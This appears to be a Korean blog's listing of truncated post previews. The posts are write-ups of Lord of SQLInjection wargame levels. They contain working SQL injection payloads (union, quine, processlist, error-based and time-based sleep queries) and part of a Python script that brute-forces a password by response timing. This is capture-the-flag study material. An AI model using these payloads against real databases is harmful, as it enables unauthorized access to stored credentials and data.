워게임/LOS32 alien (!sleep(1)&&now()%2=1) query1, query2가 있다. query1 결과의 id != admin ->> sandbox1 query1 결과의 id == admin ->> sandbox2 query2 결과의 id == admin ->> sandbox ?? 쿼리를 계속 변하게 해야한다는 것인가,,, 이해하고 넘어가는 걸로... ?no=1 union select concat(lower(hex(10+(!sleep(1)&&now()%2=1))), 0x646d696e)#' union select concat(lower(hex(9+(!sleep(1)&&now()%2=1))), 0x646d696e)# !sleep(1)&&now()%2=1 현재 시간에 따라 0 혹은 1을 반환한다. -> 왜 인지는 모르겠다... hex(10+0) = A/ h.. 2021. 10. 10. zombie(quine대신 quine하기) 항상 참으로 만들어도 아무 데이터도 출력되지 않는다. 아무 데이터도 없는 것 같다. pw가 DB에 있어야만 출력이 된다. 오류창도 딱히 없다. 이전의 콰인과 굉장히 비슷해보이지만 replace의 ace를 쓸 수 없다. select * from information_schema.processlist; 바로 직전에 실행한 쿼리문이 담기는 것을 볼 수 있다. ?pw=' union select substr(info, 38, xx) from information_schema.processlist# s = "select pw from prob_zombie where pw='" len(s) # 37 w = "' union select substr(info, 38, xx) from information_schema.p.. 2021. 10. 10. ouroboros(quine sql injection) id도 없고.. 그냥 pw 하나 뿐인 당황스러운 문제... ?pw=' or if(length(pw)=0, 9e307*2, 0)%23 로도 에러 창을 확인했지만 에러창이 따로 뜨지 않았다. 중요한 걸 간과했다. 컬럼이 하나밖에 없는데 데이터가 하나도 출력 안 된 것을 알 수 있다. 즉, 디비에 데이터가 없다. 그렇다면 $_result[pw]와 $_GET[pw]가 같기만 하면 된다. Quine SQL injection Quine은 소스코드를 그대로 출력하는 프로그램이다. pw=a' union SELECT REPLACE(REPLACE('a" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine#',CHAR(34),CHAR(39)).. 2021. 10. 9. phantom(서브쿼리) $_SERVER["REMOTE_ADDR"] : 웹서버에 접속한 접속자의 IP 정보를 갖고있다. no=1 즉 127.0.0.1의 email을 알아내라 롸업을 보기는 했지만 어려운 문제는 아니었다. 다만 여태 푼 문제 중 이렇게 푼 문제가 없어서 생각해내지 못했다. 그래도 알아가면 됐지! ?pw=qw', (0, '내 ip', (select email from prob_phantom from no=1))%23 이렇게 하면 될 것 같지만 되지 않는다. [****] 서브쿼리를 줄 때 자신의 테이블에서 참조가 안된다. 더 자세히 말하면, insert/ update/ delete에서 서브쿼리로 동일한 테이블의 조건을 사용할 때 에러가 발생한다. insert into attack values (11, 'du', 'du.. 2021. 10. 9. frankenstein(error based sqli) 괄호가 필터링되어버린다. 그렇다면 함수를 못 쓰는건가 정규식이 생각나서 ?pw=' or id='admin' and pw like "___" 해보려해도 _가 필터링되어 불가능이다. Error based SQL injection 1. Syntax error 2. logical error syntax error : 쿼리 자체는 실행되지 않은 채로, 바로 에러 메시지를 반환한다. logical error : 쿼리 자체는 실행되지만 논리적 오류로 인해 메시지를 반환한다. 때문에 error based sql에서는 logical error을 이용해야 한다. 에러 발생시키는 방법 1. select ~0+1 ~0에는 unsigned의 최댓값이 들어간다. 최댓값에 +1을 해서 에러를 출력하는 방법이다. 2. 9eN N이 .. 2021. 10. 9. blue_dragon(time based sql injection) 싱글 쿼터를 쓰면 no hack이 출력되면서 쿼리에 대한 리턴값을 보여주지 않는다. 쿼리에 대한 리턴값을 보지 않고도 값을 탈취할 수 있는 방법이 있다. Time based SQL injection ?id=admin' and if(length(pw)>0, sleep(2), 0)%23 을 요청한다. 비밀번호의 길이는 8 import requests import time cookies={"PHPSESSID":""} length = 8 passwd="" for i in range(1, length+1): for c in range(33, 123): start = time.time() url = f"https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2.. 2021. 10. 9. 이전 1 2 3 4 ··· 6 다음